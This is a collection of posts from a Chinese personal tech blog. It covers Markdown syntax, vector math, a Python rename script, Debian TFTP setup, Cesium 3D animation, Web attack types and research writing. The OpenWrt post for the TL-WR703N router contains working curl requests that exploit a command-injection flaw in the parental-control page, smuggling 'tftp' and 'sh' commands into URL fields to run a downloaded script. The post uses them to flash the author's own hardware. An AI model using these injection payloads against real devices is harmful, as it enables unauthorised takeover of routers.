Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

Markdown语法笔记

发表于 2019-01-05

一直使用Markdown编辑文档,偶尔会遇到使用一些特殊Markdown语法,为了防止遗忘,特在此记录一下。

强调

在Markdown中,可以使用 * 和 _ 表示斜体,用 ** 表示加粗。例如:

Coding,让开发更简单

Coding,让开发更简单

Coding,让开发更简单

引用

Markdown 标记区块引用和 email 中用 『>』的引用方式类似,只需要在整个段落的第一行最前面加上 『>』 :

Coding.net 为软件开发者提供基于云计算技术的软件开发平台,包括项目管理,代码托管,运行空间和质量控制等等。

区块引用可以嵌套,只要根据层次加上不同数量的『>』:

这是第一级引用。

这是第二级引用。

现在回到第一级引用。

参考链接

  1. Markdown 语法介绍, by coding.

向量点积叉积及其几何意义

发表于 2019-01-05

在3D游戏开发中,经常用到向量的点积和叉积及其几何意义,为防止遗忘,在此记录一下。

点积

在数学中,点积(德语:Skalarprodukt、英语:Dot Product)又称数量积或标量积(德语:Skalarprodukt、英语:Scalar Product),是一种接受两个等长的数字序列(通常是坐标向量)、返回单个数字的代数运算。在欧几里得几何中,两个笛卡尔坐标向量的点积常称为内积(德语:inneres Produkt、英语:Inner Product),见内积空间。

定义

点积有两种定义方式:代数方式和几何方式。通过在欧氏空间中引入笛卡尔坐标系,向量之间的点积既可以由向量坐标的代数运算得出,也可以通过引入两个向量的长度和角度等几何概念来求解。

代数定义

两个向量 $\vec{a} = [a1, a2,…, an]$和 $\vec{b} = [b1, b2,…, bn]$的点积定义为:

$$\vec{a}\cdot \vec{b} = \sum_{i=1}^n a_ib_i = a_1b_1 + a_2b_2 + \cdots + a_nb_n$$
这里的Σ是求和符号,而n是向量空间的维数。

几何定义

在欧几里得空间中,点积可以直观地定义为

$$\vec{a} \cdot \vec{b} = |\vec{a}| , |\vec{b}| \cos \theta ;$$

这里 $|\vec{x}|$ 表示 $\vec{x}$的模(长度), $\theta$ 表示两个向量之间的角度。

叉积

在数学和向量代数领域,叉积(英语:Cross product)又称向量积(英语:Vector product),是对三维空间中的两个向量的二元运算,使用符号 $\times$。与点积不同,它的运算结果是向量。对于线性无关的两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ ,它们的叉积写作 ${\mathbf {a} \times \mathbf {b} }$,是 $\mathbf {a}$ 和 $\mathbf {b}$ 所在平面的法线向量,与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直。叉积被广泛运用于数学、物理、工程学、计算机科学领域。

定义

两个向量 $\mathbf {a}$ 和 $\mathbf {b}$ 的叉积仅在三维空间中有定义,写作 ${\displaystyle \mathbf {a} \times \mathbf {b} }$。在物理学中,叉积有时也被写成${\displaystyle \mathbf {a} \wedge \mathbf {b} }$,但在数学中 ${\displaystyle \mathbf {a} \wedge \mathbf {b} }$ 是外代数中的外积。

叉积 ${\displaystyle \mathbf {a} \times \mathbf {b} }$ 是与 $\mathbf {a}$ 和 $\mathbf {b}$ 都垂直的向量 $\mathbf {c}$ 。其方向由右手定则决定,模长等于以两个向量为边的平行四边形的面积。

右手定则

叉积可以定义为:

$${\displaystyle \mathbf {a} \times \mathbf {b} =|\mathbf {a} ||\mathbf {b} |\sin(\theta )\ \mathbf {n} }$$

其中$\theta$ 表示 $\mathbf {a}$ 和 $\mathbf {b}$ 在它们所定义的平面上的夹角( ${\displaystyle 0^{\circ }\leq \theta \leq 180^{\circ }}$)。 ${\displaystyle |\mathbf {a} |}$ 和 ${\displaystyle |\mathbf {b} |}$ 是向量$\mathbf {a}$ 和 $\mathbf {b}$ 的模长,而 $\mathbf{n}$ 则是一个与 $\mathbf {a}$ 、 $\mathbf {b}$ 所构成的平面垂直的单位向量,方向由右手定则决定。根据上述公式,当$\mathbf {a}$ 与 $\mathbf {b}$ 平行(即 $\theta$ 为 0° 或 180°)时,它们的叉积为零向量 $\mathbf{0}$。

在右手坐标系中的向量积

矩阵表示

叉积可以表达为这样的行列式:

$${\displaystyle \mathbf {u\times v} ={\begin{vmatrix}\mathbf {i} &\mathbf {j} &\mathbf {k} \u_{1}&u_{2}&u_{3}\v_{1}&v_{2}&v_{3}\\end{vmatrix}}}$$

这个行列式可以使用萨吕法则或拉普拉斯展开计算。使用拉普拉斯展开可以沿第一行展开为:

$${\displaystyle {\begin{aligned}\mathbf {u\times v} &={\begin{vmatrix}u_{2}&u_{3}\v_{2}&v_{3}\end{vmatrix}}\mathbf {i} -{\begin{vmatrix}u_{1}&u_{3}\v_{1}&v_{3}\end{vmatrix}}\mathbf {j} +{\begin{vmatrix}u_{1}&u_{2}\v_{1}&v_{2}\end{vmatrix}}\mathbf {k} \&=(u_{2}v_{3}-u_{3}v_{2})\mathbf {i} -(u_{1}v_{3}-u_{3}v_{1})\mathbf {j} +(u_{1}v_{2}-u_{2}v_{1})\mathbf {k} \end{aligned}}}$$
可以直接得到结果向量。

参考链接

  1. 叉积, by wikipedia.
  2. 数量积, by wikipedia.
  3. 向量点乘(内积)和叉乘(外积、向量积)概念及几何意义解读, by -牧野-.

Python批量重命名文件

发表于 2019-01-01 | 更新于 2022-05-15

最近从iData中下载了很多学术论文,这些论文文件名都以“www.cn-ki.net_”开头,一个个重命名太麻烦,于是使用如下python3脚本批量重命名文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Python3 code to rename multiple  
# files in a directory or folder

# importing os module
import os

# Function to rename multiple files
def main():

# search file in current directory
for filename in os.listdir("."):

if os.path.isfile(filename):
if "www.cn-ki.net_" in filename[0:14]:
src=filename
dst=filename[14:]
# rename the special file
os.rename(src, dst)

# Driver Code
if __name__ == '__main__':

# Calling main() function
main()

参考文献

  1. How to sort with lambda in Python,by linuxhint.
  2. 用Python复制文件的9个方法,by 景略集智.
  3. shutil — 高阶文件操作,by python.
  4. python glob.glob使用,by mantoureganmian.

TL-WR703N版本v1.7刷openwrt教程

发表于 2018-12-31 | 更新于 2021-07-16

我的TL-WR703N路由器运行不稳定,就准备尝试刷最新的OpenWRT,看看能否好一点。

准备工作

  • 一个 TP-Link TL-WR703N 路由器,确保固件版本为 3.17.1 Build 140120 Rel.56593n
    1
    # 在刷机之前,按reset按钮重置路由器
  • TL-WR703N 的 openwrt 固件 openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    1
    2
    3
    4
    # 下载openwrt固件并拆分成两份(因为wr703n的内存很小,可能传输的时候传不了整个文件)
    curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
    dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • TFTP 服务器
    1
    2
    # 安装TFTP的客户端和服务器端
    sudo apt-get install atftp atftpd
  • busybox 1.16.1 MIPS 版
    1
    curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
  • 编写Hack脚本
    1
    2
    3
    4
    5
    6
    7
    8
    cd /tmp
    tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器连接路由器之后,ifconfig看到的ip
    tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来
    tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来
    chmod 755 busybox # 修改busybox权限以执行命令
    ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
    ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
    reboot -f # 重启,会启动openwrt

刷机流程

在V1.7以前,可以通过路由器的Web UI直接将openwrt刷到板子上,但在V1.7之后,只能通过利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统。本教程就是利用TP-LINK家长控制的漏洞进行openwrt刷机。下面介绍openwrt刷机的步骤。

搭建tftp服务器

在Debian操作系统中搭建tftp服务器请参考链接4。将busybox、 拆开的固件i1和i2、Hack脚本aa放入tftp服务器目录。

Hack into TL-WR703N

这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器。

【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救。

步骤如下:

  • 长按reboot按钮将路由器恢复出厂设置

  • 将tftp服务器通过WiFi的方式连接到路由器 TL-WR703N,ifconfig记住tftp服务器的ip,我的是192.168.1.100

  • 在tftp服务器上执行如下命令修改路由器WebUI默认管理员密码

    1
    2
    # 此处修改密码为admin42,注意Cookies中认证变量Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D即是设置管理员密码为admin42。后续将继续使用该变量进行其他操作,如果认证变量不正确,操作将无法执行。
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
  • 启用家长控制(利用漏洞)

1
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 让路由器从tftp服务器下载并执行脚本
    1
    2
    # 执行下述命令后,等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

openwrt系统配置

openwrt默认使用LuCI 用户界面,具体配置方法暂时没有时间研究。

参考链接

  1. 给 v1.7 版本的 TL-WR703N 刷 openwrt,by Cubic Zone.
  2. TL-WR703N v1.7刷openwrt,by 梦里茶.
  3. TP-Link TL-WR703N,by openwrt.
  4. Debian安装配置使用TFTP,by jack huang.
  5. Packet Traveling,by ed harmoush.

Debian安装配置使用TFTP

发表于 2018-12-30 | 更新于 2019-03-17

简单文件传输协议也称小型文件传输协议(Trivial File Transfer Protocol, TFTP),是一种简化的文件传输协议(FTP),通过少量存储器就能轻松实现。

TFTP技术信息

小型文件传输协议的一些详细资料:

  • 使用UDP(端口69)作为其传输协议(不像FTP使用TCP端口21)。
  • 不能列出目录内容。
  • 无验证或加密机制。
  • 被用于在远程服务器上读取或写入文件。
  • 支持三种不同的传输模式:”netascii”,”octet”和”mail”,前两种匹配FTP协议中的”ASCII”和”image(binary)”模式;第三种从来很少使用,当前已经废弃。

TFTP安装

安装TFTP的客户端和服务器端:

1
sudo apt-get install atftp atftpd

TFTP配置

  1. 创建TFTP服务器目录
1
2
3
sudo mkdir /tftpboot
sudo chmod 777 /tftpboot
sudo chmod 777 /tftpboot/*
  1. 编辑TFTP配置文件
1
2
3
4
5
sudo gedit /etc/default/atftpd

# 修改内容如下,主要是修改目录
USE_INETD=false
OPTIONS="--daemon --port 69 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
  1. 重启TFTP守护程序
1
sudo /etc/init.d/atftpd restart

TFTP测试

1
2
3
4
5
6
7
8
9
~$ sudo tftp 192.168.43.116
tftp> status
Connected to 192.168.43.116.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get iproad.txt
Received 959 bytes in 0.0 seconds
tftp> put upload.txt
Sent 13 bytes in 0.0 seconds

参考链接

  1. TFTP,by wikipedia.
  2. Using TFTP to Install Malicious Software on the Target,by kail forum.

Cesium中3D模型的驱动方法

发表于 2018-12-26 | 更新于 2023-07-16

Cesium中3D模型的运动可以使用CZML直接驱动,但使用该方法前提是能事先计算出3D模型的运动轨迹,具有很大的局限性。那么如何实时驱动3D模型呢?

Cesium渲染过程分析

Cesium渲染过程的分析可以参考链接1。Cesium的渲染始于虚拟地球组件CesiumWidget的startRenderLoop方法,在该方法中将调用requestAnimationFrame函数开始渲染。

虚拟地球组件CesiumWidget包含Scene组件,在其render方法随后调用Scene的render方法。在场景组件Scene的render方法中提供了preUpdate、postUpdate、preRender、postRender四个事件对象,这四个事件对象将是我们实时驱动3D模型的关键。

preUpdate事件

在Cesium更新渲染周期开始之前以目标帧率触发preUpdate事件。

1
2
3
4
5
6
scene.postUpdate.addEventListener(function() {
// This code will run at 60 FPS
if (changeToPromptRender) {
scene.requestRender();
}
});

postUpdate事件

在场景更新之后,新帧渲染之前以目标帧率触发postUpdate事件。

preRender事件

在场景更新之后,新帧渲染之前触发preRender事件。

1
2
3
4
scene.preRender.addEventListener(function() {
// This code will run when a new frame is rendered
// including when changeToPromptRender is true
});

postRender事件

在新帧渲染之后触发postRender事件。

实时驱动3D模型

从上一节对Cesium渲染过程分析可知,要实时驱动3D模型,应订阅场景Scene的preUpdate事件,在preUpdate事件的处理函数中改变3D模型的位置和姿态。

订阅preUpdate事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//订阅场景的preUpdate事件
viewer.scene.preUpdate.addEventListener(function(scene, time) {
speedVector = Cesium.Cartesian3.multiplyByScalar(Cesium.Cartesian3.UNIT_X, speed / 10, speedVector);
position = Cesium.Matrix4.multiplyByPoint(planePrimitive.modelMatrix, speedVector, position);
pathPosition.addSample(Cesium.JulianDate.now(), position);
Cesium.Transforms.headingPitchRollToFixedFrame(position, hpRoll, Cesium.Ellipsoid.WGS84, fixedFrameTransform, planePrimitive.modelMatrix);

if (fromBehind.checked) {
// Zoom to model
Cesium.Matrix4.multiplyByPoint(planePrimitive.modelMatrix, planePrimitive.boundingSphere.center, center);
hpRange.heading = hpRoll.heading;
hpRange.pitch = hpRoll.pitch;
camera.lookAt(center, hpRange);
}
});

获取czml实体的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
viewer.scene.preUpdate.addEventListener(function(scene, time) {
//target是czml实体对象
//获取time时刻target的位置参数
target.position.getValue(time,position)
console.log(position)

target.orientation.getValue(time,orientation)
console.log(orientation)
});

viewer.scene.preUpdate.addEventListener(function(scene, time) {
var pos=target.position.getValue(time)
console.log(pos.toString())
//世界坐标转经纬高
var cartographicPosition = Cesium.Ellipsoid.WGS84.cartesianToCartographic(pos);
console.log(cartographicPosition.toString())
});

使用Entity API加载3D模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var viewer = new Cesium.Viewer('cesiumContainer');
var center=Cesium.Cartesian3.fromDegrees(-123.0744619, 44.0503706,100);
var hpr=Cesium.HeadingPitchRoll.fromDegrees(90,-90,0);
//从headingPitchRoll转四元数
var quatern=Cesium.Transforms.headingPitchRollQuaternion(center,hpr);

var entity = viewer.entities.add({
position :center ,
orientation:quatern ,
model : {
uri : '../../../../Apps/SampleData/models/missile.glb',
scale: 0.1,
minimumPixelSize:50,
maximumScale:5000
}
});
viewer.trackedEntity = entity;

使用Primitive API加载3d模型

1
2
3
4
5
6
7
8
9
10
11
12
var viewer = new Cesium.Viewer('cesiumContainer');

var center1=Cesium.Cartesian3.fromDegrees(-123.0744619, 44.0503706,100);
var hpr1=Cesium.HeadingPitchRoll.fromDegrees(90,-90,100);
//计算模式矩阵,实现本地坐标系坐标到世界坐标系坐标的转换
var modelMatrix=Cesium.Transforms.headingPitchRollToFixedFrame(center1, hpr1)

var model = viewer.scene.primitives.add(Cesium.Model.fromGltf({
url : '../../../../Apps/SampleData/models/missile.glb',
modelMatrix : modelMatrix,
scale : 1.0
}));

参考链接

  1. Cesium摄像头跟踪飞机实体时晃动问题分析,by jack huang.
  2. Improving Performance with Explicit Rendering, by Gabby Getz.
  3. Cesium 源码打包入门 [ver1.72] ,by mob604756f3c518.

Web安全攻防技术探讨

发表于 2018-12-22 | 更新于 2021-04-02

网络安全(英语:network security)包含网络设备安全、网络信息安全、网络软件安全。在此重点探讨网络软件安全中的Web安全。当前Web安全面临的压力越来越大,一方面是Web应用一统江湖,君临天下,另一方面针对Web应用的攻击越来越多,攻击方法越来越成熟。下面重点介绍常见的Web攻击方法。

XSS

XSS (Cross Site Script,跨站脚本攻击)的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

非持久型 XSS

持久型 XSS

CSRF

CSRF(Cross-Site Request Forgery,跨站请求伪造攻击)可以盗用你的登陆信息,以你的身份模拟发送各种请求。

SQL 注入

SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。

命令行注入

命令行注入漏洞,指的是攻击者能够通过 HTTP 请求直接侵入主机,执行攻击者预设的 shell 命令。

DDoS 攻击

DDoS 又叫分布式拒绝服务,全称 Distributed Denial of Service,其原理就是利用大量的请求造成资源过载,导致服务不可用。

网络层 DDoS

应用层 DDoS

流量劫持

流量劫持是黑产行业的一大经济支柱。

DNS 劫持

HTTP 劫持

参考链接

  1. Advanced web security topics,by George.
  2. 网络安全,by wikipedia.
  3. 常见 Web 安全攻防总结,by zoumiaojiang.
  4. RSA 的原理与实现,by cjting.
  5. 暗网取证研究,by 苏再添.

科学研究中阅读论文的方法

发表于 2018-12-20 | 更新于 2020-02-28

在科学研究的过程中,选题十分重要。因此在初步确定好选题方向后,应对该选题方向进行调研。调研的主要工作就是寻找该方向的论文,进行阅读、分析、总结,了解该方向的过去和现在,并预测未来可能的发展方向。对于刚上研究生的同学,该采用什么样的方法来整理选题方向上的论文,使之符合逻辑,并且条理清晰呢?偶尔拜读了Flood Sung写的文章”深度学习论文阅读路线图“,觉得深受启发,将其所提出的深度学习论文阅读路线图构建原则记录备忘一下。

路线图的构建原则

有以下四个原则:

  • 从整体到局部。即从Survey的文章,影响大局的文章到具体子问题子领域的文章。
  • 从过去到最前沿。即每个topic的文章是按照时间顺序排列的,这样大家就可以清楚的看到这个方向的研究发展脉络。
  • 从通用到应用。即有些深度学习的文章是面向深度学习通用理论,比如Resnet,可以用在任意的神经网络中,而有些文章则是具体应用,比如Image Caption。
  • 面向最前沿。收集的文章会有很多是最新的,甚至就是几天前出来的,这样能保证路线图是最新的。

每一种topic只选择最有代表性的几篇文章,比如深度增强学习(Deep Reinforcement Learning),这个领域现在有几十篇文章,但只选择几篇,要深入了解甚至做为自己的研究方向,还需要进一步的阅读该领域的文章。

参考链接

  1. 深度学习论文阅读路线图 Deep Learning Papers Reading Roadmap,by Flood Sung.
  2. Deep Learning Papers Reading Roadmap,by Flood Sung.
  3. 【How to read a paper】如何读论文,by 乾龙_Heron.

系统仿真中一些问题的思考

发表于 2018-12-18

系统仿真(system simulation)就是根据系统分析的目的,在分析系统各要素性质及其相互关系的基础上,建立能描述系统结构或行为过程的、且具有一定逻辑关系或数量关系的仿真模型,据此进行试验或定量分析,以获得正确决策所需的各种信息。

系统仿真与仿真游戏的区别

系统仿真与仿真游戏本质上没有区别,都是计算机程序对现实的模拟,所不同的是各自对仿真保真度(Simulation Fidelity)的要求不同。

仿真保真度(Simulation Fidelity)用于描述仿真精度,模拟真实对应物有多近似:

  • 低保真:对系统的最小模拟,接受输入产生输出
  • 中等保真:对刺激能自动响应,有限精度
  • 高保真:接近不可辨识或者尽可能地接近真实系统

通常系统仿真对仿真保真度的要求比仿真游戏要高。

计算步长与采样周期

采用计算机进行数值模拟或系统仿真时,经常需要采用数值解法求解模型方程。系统模型一般采用微分方程描述(也有其它形式),采用数值方法求解,就是采用迭代法逐步逼近。

计算步长

积分与微分是互逆。对一个曲线(包括直线)方程求积分,其实就是求曲线与横轴围成的面积。该面积可以用一系列间隔很小的面积块相加得到。这些小间隔的宽度就是计算步长。显然,纯粹从精度的角度考虑,步长越小越精确,因为近似面积更接近实际图形面积。

采样周期

采样周期是对一个实际信号测量时,相邻两次测量之间的时间间隔。有时候,采样周期和计算步长相似,但采样周期要考虑实际限制,且是时间单位,而计算步长不一定是时间单位,且相对自由些。两者在数值上没必然联系。对于同一问题,且都是时间量纲的话,采样周期大于等于计算步长,前者是后者的整数倍。

系统仿真包含系统模型求解,也就是在每个采样周期内,要解出模型方程。控制系统仿真时在采样周期内要解出两个模型方程:控制器模型和系统模型。

一个采样周期内可对系统模型迭代求解一次或多次。

计算步长和采样周期大小的选择

关于采样周期和计算步长的选择,一般考虑以下因素:

  • 从求解精度考虑,越小越好。

  • 从计算量考虑,越大越好。

采样周期与每秒帧数(Frames Per Second,FPS)

采样周期以秒为单位,则

$$FPS=\frac{1}{采样周期}$$

FPS是指每秒画面重绘的次数,用于衡量画面切换速度。FPS越大,则动画效果越平滑,当FPS小于20时,一般就能明显感受到画面的卡滞现象。

当FPS足够大(比如达到60),再增加帧数人眼也不会感受到明显的变化,反而相应地就要消耗更多资源(比如电影的胶片就需要更长了,或是电脑刷新画面需要消耗计算资源等等)。因此,选择一个适中的FPS即可。

NTSC标准的电视FPS是30,PAL标准的电视FPS是25,电影的FPS标准为24。

WebGL动画

WebGL是一种JavaScript API,用于在不使用插件的情况下在任何兼容的网页浏览器中呈现交互式2D和3D图形。但要产生WebGL动画,需要对运动的场景不停的采样,即不停地拍照。JavaScript的采样函数主要有setInterval方法和requestAnimationFrame方法。

setInterval方法

如果要设置特定的FPS(虽然严格来说,即使使用这种方法,JavaScript也不能保证帧数精确性),可以使用JavaScript DOM定义的方法:

1
setInterval(fn,mesc)

其中,fn是每过msec毫秒执行的函数,如果将fn定义为重绘画面的函数,就能实现动画效果。setInterval函数返回一个变量timer,如果需要停止重绘,需要使用clearInterval方法,并传入该变量timer。

requestAnimationFrame方法

大多数时候,我们并不在意多久重绘一次,这时候就适合用requestAnimationFrame方法了。它告诉浏览器在合适的时候调用指定函数,通常可能达到60FPS。

  • requestAnimationFrame同样有对应的cancelAnimationFrame取消动画
  • 和setInterval不同的是,由于requestAnimationFrame只请求一帧画面,因此,除了在init函数中需要调用,在被其调用的函数中需要再次调用requestAnimationFrame

使用stat.js记录FPS

stat.js是Three.js的作者Mr.Doob的另一个有用的JavaScript库。很多情况下,我们希望知道实时的FPS信息,从而更好地监测动画效果。这时候,stat.js就能提供一个很好的帮助,它占据屏幕中的一小块位置(如左上角),显示实时的FPS信息。

在HTML中引用stat.js:

1
<script type="text/javascript" src="//mrdoob.github.io/stats.js/build/stats.min.js"></script>

再使用如下代码监视实时FPS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var stats = new Stats();
stats.showPanel( 1 ); // 0: fps, 1: ms, 2: mb, 3+: custom
document.body.appendChild( stats.dom );

function animate() {

stats.begin();

// monitored code goes here

stats.end();

requestAnimationFrame( animate );

}

requestAnimationFrame( animate );

参考链接

  1. 计算步长和采样周期,by 王永林.
  2. 离散和连续模拟之间的实际区别是什么?,by UF Game.
  3. 系统仿真,by 百度百科.
  4. 开源的物理引擎,by M. Jones.
  5. 数值分析,by wikipedia.
  6. three.js 入门详解(二),by Levi.
  7. WebGL,by wikipedia.
  8. stats.js, by mydoob.
  9. 详解JavaScript中的Event Loop(事件循环)机制,by 暮雨清秋.

撰写学术论文的思考

发表于 2018-12-17 | 更新于 2019-01-17

迫于学业和工作的压力,撰写了不少的学术论文。但是并没有对如何撰写学术论文进行思考。看到清华大学的肖寒
博士在某个问题下的回答后,感觉茅塞顿开:

不过,一般注水的作者相对而言都是新手,因为比较有经验的研究者都知道:“论文的一切都在于贡献,不在于结果”

你的结果只是一个说明你贡献的例证,多那么点少那么点,大家看了毫无区别。你注水除了恶心我们这些后来实验的人,就没什么别的用处了。有那些疯狂调参和使劲弄技巧的时间,真不如拿来整理好你自己的思路,把论文的论述过程做到有理有据!因为 80.2 和 80.3 正常人都没法记住其间区别,但你循循善诱的精致论述会让所有人印象深刻。我希望新手不要本末倒置!

论文重在贡献,迫于学业和工作的压力造的注水论文实在无趣!

参考链接

  1. 看图说话的AI小朋友——图像标注趣谈(下), by 杜客.
  2. 从标题到写作流程:写好一篇论文的十条基本原则,by 机器之心.
上一页1…464748…54下一页

Jack Huang

535 日志
69 标签
© 2026 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse